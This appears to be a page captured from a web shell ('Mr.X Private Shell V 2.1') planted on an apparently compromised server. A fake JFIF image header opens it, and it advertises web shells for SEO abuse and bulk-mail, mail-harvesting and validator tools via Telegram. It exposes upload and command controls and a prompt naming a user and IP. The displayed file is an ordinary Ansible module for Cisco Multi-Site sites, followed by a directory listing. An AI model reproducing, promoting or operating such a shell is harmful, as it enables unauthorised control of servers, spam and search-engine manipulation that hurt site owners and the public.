����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright: (c) 2018, Dag Wieers (@dagwieers) <dag@wieers.com>
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function

__metaclass__ = type

ANSIBLE_METADATA = {"metadata_version": "1.1", "status": ["preview"], "supported_by": "community"}

DOCUMENTATION = r"""
---
module: mso_site
short_description: Manage sites
description:
- Manage sites on Cisco ACI Multi-Site.
author:
- Dag Wieers (@dagwieers)
options:
  apic_password:
    description:
    - The password for the APICs.
    - The apic_password attribute is not supported when using with ND platform.
    - See the ND collection for complete site management.
    type: str
  apic_site_id:
    description:
    - The site ID of the APICs.
    type: str
  apic_username:
    description:
    - The username for the APICs.
    - The apic_username attribute is not supported when using with ND platform.
    - See the ND collection for complete site management.
    type: str
    default: admin
  apic_login_domain:
    description:
    - The AAA login domain for the username for the APICs.
    - The apic_login_domain attribute is not supported when using with ND platform.
    - See the ND collection for complete site management.
    type: str
  site:
    description:
    - The name of the site.
    type: str
    aliases: [ name ]
  labels:
    description:
    - The labels for this site.
    - Labels that do not already exist will be automatically created.
    - The labels attribute is not supported when using with ND platform.
    - See the ND collection for complete site management.
    type: list
    elements: str
  location:
    description:
    - Location of the site.
    - The location attribute is not supported when using with ND platform.
    - See the ND collection for complete site management.
    type: dict
    suboptions:
      latitude:
        description:
        - The latitude of the location of the site.
        type: float
      longitude:
        description:
        - The longitude of the location of the site.
        type: float
  urls:
    description:
    - A list of URLs to reference the APICs.
    - The urls attribute is not supported when using with ND platform.
    - See the ND collection for complete site management.
    type: list
    elements: str
  state:
    description:
    - Use C(present) or C(absent) for adding or removing.
    - Use C(query) for listing an object or multiple objects.
    type: str
    choices: [ absent, present, query ]
    default: present
extends_documentation_fragment: cisco.mso.modules
"""

EXAMPLES = r"""
- name: Add a new site
  cisco.mso.mso_site:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    site: north_europe
    description: North European Datacenter
    apic_username: mso_admin
    apic_password: AnotherSecretPassword
    apic_site_id: 12
    urls:
    - 10.2.3.4
    - 10.2.4.5
    - 10.3.5.6
    labels:
    - NEDC
    - Europe
    - Diegem
    location:
      latitude: 50.887318
      longitude: 4.447084
    state: present
  delegate_to: localhost

- name: Remove a site
  cisco.mso.mso_site:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    site: north_europe
    state: absent
  delegate_to: localhost

- name: Query a site
  cisco.mso.mso_site:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    site: north_europe
    state: query
  delegate_to: localhost
  register: query_result

- name: Query all sites
  cisco.mso.mso_site:
    host: mso_host
    username: admin
    password: SomeSecretPassword
    state: query
  delegate_to: localhost
  register: query_result
"""

RETURN = r"""
"""

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.mso.plugins.module_utils.mso import MSOModule, mso_argument_spec


def main():
    location_arg_spec = dict(
        latitude=dict(type="float"),
        longitude=dict(type="float"),
    )

    argument_spec = mso_argument_spec()
    argument_spec.update(
        apic_password=dict(type="str", no_log=True),
        apic_site_id=dict(type="str"),
        apic_username=dict(type="str", default="admin"),
        apic_login_domain=dict(type="str"),
        labels=dict(type="list", elements="str"),
        location=dict(type="dict", options=location_arg_spec),
        site=dict(type="str", aliases=["name"]),
        state=dict(type="str", default="present", choices=["absent", "present", "query"]),
        urls=dict(type="list", elements="str"),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_if=[
            ["state", "absent", ["site"]],
            ["state", "present", ["apic_site_id", "site"]],
        ],
    )

    apic_username = module.params.get("apic_username")
    apic_password = module.params.get("apic_password")
    apic_site_id = module.params.get("apic_site_id")
    site = module.params.get("site")
    location = module.params.get("location")
    if location is not None:
        latitude = module.params.get("location")["latitude"]
        longitude = module.params.get("location")["longitude"]
    state = module.params.get("state")
    urls = module.params.get("urls")
    apic_login_domain = module.params.get("apic_login_domain")

    mso = MSOModule(module)

    site_id = None
    path = "sites"
    api_version = "v1"
    if mso.platform == "nd":
        api_version = "v2"

    # Convert labels
    labels = mso.lookup_labels(module.params.get("labels"), "site")

    # Query for mso.existing object(s)
    if site:
        if mso.platform == "nd":
            site_info = mso.get_obj(path, api_version=api_version, common=dict(name=site))
            path = "sites/manage"
            if site_info:
                # If we found an existing object, continue with it
                site_id = site_info.get("id")
                if site_id is not None and site_id != "":
                    # Checking if site is managed by MSO
                    mso.existing = site_info
                    path = "sites/manage/{id}".format(id=site_id)
        else:
            mso.existing = mso.get_obj(path, name=site)
            if mso.existing:
                # If we found an existing object, continue with it
                site_id = mso.existing.get("id")
                path = "sites/{id}".format(id=site_id)

    else:
        mso.existing = mso.query_objs(path, api_version=api_version)

    if state == "query":
        pass

    elif state == "absent":
        mso.previous = mso.existing
        if mso.existing:
            if module.check_mode:
                mso.existing = {}
            else:
                mso.request(path, method="DELETE", qs=dict(force="true"), api_version=api_version)
                mso.existing = {}

    elif state == "present":
        mso.previous = mso.existing

        if mso.platform == "nd":
            if mso.existing:
                payload = mso.existing
            else:
                if site_info:
                    payload = site_info
                    payload["common"]["siteId"] = apic_site_id
                else:
                    mso.fail_json(msg="Site '{0}' is not a valid Site configured at ND-level. Add Site to ND first.".format(site))

        else:
            payload = dict(
                apicSiteId=apic_site_id,
                id=site_id,
                name=site,
                urls=urls,
                labels=labels,
                username=apic_username,
                password=apic_password,
            )

            if location is not None:
                payload["location"] = dict(
                    lat=latitude,
                    long=longitude,
                )

            if apic_login_domain is not None and apic_login_domain not in ["", "local", "Local"]:
                payload["username"] = "apic#{0}\\{1}".format(apic_login_domain, apic_username)

        mso.sanitize(payload, collate=True)

        if mso.existing:
            if mso.check_changed():
                if module.check_mode:
                    mso.existing = mso.proposed
                else:
                    mso.existing = mso.request(path, method="PUT", data=mso.sent, api_version=api_version)
        else:
            if module.check_mode:
                mso.existing = mso.proposed
            else:
                mso.existing = mso.request(path, method="POST", data=mso.sent, api_version=api_version)

    if "password" in mso.existing:
        mso.existing["password"] = "******"

    mso.exit_json()


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
mso_backup.py File 10.65 KB 0644
mso_backup_schedule.py File 6.39 KB 0644
mso_dhcp_option_policy.py File 4.65 KB 0644
mso_dhcp_option_policy_option.py File 5.39 KB 0644
mso_dhcp_relay_policy.py File 4.52 KB 0644
mso_dhcp_relay_policy_provider.py File 7.98 KB 0644
mso_label.py File 3.96 KB 0644
mso_remote_location.py File 7.81 KB 0644
mso_rest.py File 5.11 KB 0644
mso_role.py File 7.11 KB 0644
mso_schema.py File 3.26 KB 0644
mso_schema_clone.py File 3.72 KB 0644
mso_schema_site.py File 4.94 KB 0644
mso_schema_site_anp.py File 6.44 KB 0644
mso_schema_site_anp_epg.py File 9.57 KB 0644
mso_schema_site_anp_epg_bulk_staticport.py File 14.7 KB 0644
mso_schema_site_anp_epg_domain.py File 18.1 KB 0644
mso_schema_site_anp_epg_selector.py File 13.02 KB 0644
mso_schema_site_anp_epg_staticleaf.py File 7.78 KB 0644
mso_schema_site_anp_epg_staticport.py File 13.95 KB 0644
mso_schema_site_anp_epg_subnet.py File 8.32 KB 0644
mso_schema_site_bd.py File 6.65 KB 0644
mso_schema_site_bd_l3out.py File 8.04 KB 0644
mso_schema_site_bd_subnet.py File 8.34 KB 0644
mso_schema_site_external_epg.py File 7.21 KB 0644
mso_schema_site_external_epg_selector.py File 8.88 KB 0644
mso_schema_site_l3out.py File 7.19 KB 0644
mso_schema_site_service_graph.py File 9.1 KB 0644
mso_schema_site_vrf.py File 5.66 KB 0644
mso_schema_site_vrf_region.py File 8.47 KB 0644
mso_schema_site_vrf_region_cidr.py File 9.57 KB 0644
mso_schema_site_vrf_region_cidr_subnet.py File 10.54 KB 0644
mso_schema_site_vrf_region_hub_network.py File 7.59 KB 0644
mso_schema_template.py File 7.52 KB 0644
mso_schema_template_anp.py File 5.69 KB 0644
mso_schema_template_anp_epg.py File 15.14 KB 0644
mso_schema_template_anp_epg_contract.py File 8.03 KB 0644
mso_schema_template_anp_epg_selector.py File 8.49 KB 0644
mso_schema_template_anp_epg_subnet.py File 7.38 KB 0644
mso_schema_template_bd.py File 16.94 KB 0644
mso_schema_template_bd_dhcp_policy.py File 7.24 KB 0644
mso_schema_template_bd_subnet.py File 7.51 KB 0644
mso_schema_template_clone.py File 7.72 KB 0644
mso_schema_template_contract_filter.py File 16.95 KB 0644
mso_schema_template_contract_service_graph.py File 12.3 KB 0644
mso_schema_template_deploy.py File 3.95 KB 0644
mso_schema_template_deploy_status.py File 4.51 KB 0644
mso_schema_template_external_epg.py File 10.77 KB 0644
mso_schema_template_external_epg_contract.py File 7.59 KB 0644
mso_schema_template_external_epg_selector.py File 7.6 KB 0644
mso_schema_template_external_epg_subnet.py File 7.21 KB 0644
mso_schema_template_externalepg.py File 10.77 KB 0644
mso_schema_template_filter_entry.py File 12.28 KB 0644
mso_schema_template_l3out.py File 6.59 KB 0644
mso_schema_template_migrate.py File 6.3 KB 0644
mso_schema_template_service_graph.py File 8.69 KB 0644
mso_schema_template_vrf.py File 6.63 KB 0644
mso_schema_template_vrf_contract.py File 8.68 KB 0644
mso_schema_validate.py File 1.97 KB 0644
mso_service_node_type.py File 4.5 KB 0644
mso_site.py File 8.5 KB 0644
mso_tenant.py File 6.09 KB 0644
mso_tenant_site.py File 13.21 KB 0644
mso_user.py File 7.88 KB 0644
mso_version.py File 1.53 KB 0644
ndo_schema_template_deploy.py File 4.2 KB 0644